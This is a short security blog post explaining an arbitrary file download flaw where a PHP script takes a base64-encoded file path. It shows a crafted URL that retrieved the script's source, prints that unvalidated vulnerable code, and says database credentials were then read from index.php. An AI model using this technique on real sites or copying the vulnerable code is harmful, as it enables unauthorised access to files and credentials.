I found a lot of sites with urls containing a get variable whose value is a physical path and a file name. I’m not sure why a web developer would ever implement a horrible thing like that but… Still they do. If you want to know more about this kind of vulnerability head to mitre.org
Oh and even worse, some developers think that encoding that relative path with base64 would keep away hackers / pentesters. My article is an example of this kind.
So the other day I was googling around when I found a site where a user can download PDF documents, but the strange thing is that the link to download the file is as follow:
http://foobar.com/down.php?download=dXBsb2FkL2ZpbGVzLzc0OC1pbnN0cnVjdGlvbnMucGRm
Let’s decode that string “dXBsb2FkL2Z…” using base64decode.org :
upload/files/748-instructions.pdf
Bingo! A relative path with a file name. Let’s try to encode the relative path to the file down.php itself:
http://foobar.com/down.php?download=ZG93bi5waHA=
The response is what I was expecting, the source code of down.php:
<?php session_start(); if ($_GET['download']) { $download = $_GET['download']; $file = base64_decode($download); $file_name = basename($file); $file_name = substr($file_name,11); if (file_exists($file)) { header("Expires: Mon, 10 Dec 2001 08:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header('Content-Type: '.content_type($file_name)); header('Content-Disposition: attachment; filename="'.$file_name.'"'); header('Content-Length: '.filesize($file).'; '); readfile($file); } else { //header("Location: " . $_SERVER['HTTP_REFERER']); //header("HTTP/1.0 404 Not Found"); echo "<p>File $file_name does not exist.</p>"; die; } } function content_type($name) { $contenttype = 'application/octet-stream'; $contenttypes = array ( 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'avi' => 'video/x-msvideo', 'bmp' => 'image/bmp', 'css' => 'text/css', 'doc' => 'application/msword', 'dvi' => 'application/x-dvi', 'dxr' => 'application/x-director', 'eml' => 'message/rfc822', 'gif' => 'image/gif', 'htm' => 'text/html', 'html' => 'text/html', 'jpe' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'log' => 'text/plain', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mov' => 'video/quicktime', 'movie' => 'video/x-sgi-movie', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpe' => 'video/mpeg', 'mpeg' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mpga' => 'audio/mpeg', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'png' => 'image/png', 'ppt' => 'application/vnd.ms-powerpoint', 'qt' => 'video/quicktime', 'ra' => 'audio/x-realaudio', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'rtf' => 'text/rtf', 'rtx' => 'text/richtext', 'rv' => 'video/vnd.rn-realvideo', 'shtml' => 'text/html', 'swf' => 'application/x-shockwave-flash', 'tar' => 'application/x-tar', 'text' => 'text/plain', 'txt' => 'text/plain', 'tgz' => 'application/x-tar', 'tif' => 'image/tiff', 'tiff' => 'image/tiff', 'wav' => 'audio/x-wav', 'word' => 'application/msword', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'xl' => 'application/excel', 'xls' => 'application/vnd.ms-excel', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'zip' => 'application/zip' ); $name = ereg_replace("ยง", " ", $name); foreach ($contenttypes as $type_ext => $type_name) { if (preg_match ("/$type_ext$/i", $name)) $contenttype = $type_name; } return $contenttype; } ?>
The next step was to request the source code of index.php, where I found the include file containing the database credentials. End of game.